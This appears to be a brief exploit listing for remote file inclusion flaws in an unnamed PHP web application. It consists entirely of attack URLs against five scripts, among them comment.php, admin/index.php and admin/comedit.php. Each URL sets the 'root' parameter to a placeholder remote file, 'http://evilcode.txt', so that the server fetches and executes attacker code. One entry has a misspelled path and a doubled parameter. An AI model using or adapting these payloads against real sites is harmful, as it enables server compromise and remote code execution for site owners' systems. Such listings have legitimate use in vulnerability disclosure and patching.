Comment.php

http://www.example.com/(path)/comment.php?root=http://evilcode.txt?

admin/test.php

http://www.example.com/(path)/admin/test.php?root=http://evilcode.txt?

admin/index.php

http://www.example.com/(path)/admin/index.php?root=http://evilcode.txt??root=http://evilcode.txt?

admmin/include/inc_adminfoot.php 

http://www.example.com/(path)/admin/include/inc_adminfoot.php?root=http://evilcode.txt?

admin/comedit.php 

http://www.example.com/(path)/admin/comedit.php?root=http://evilcode.txt?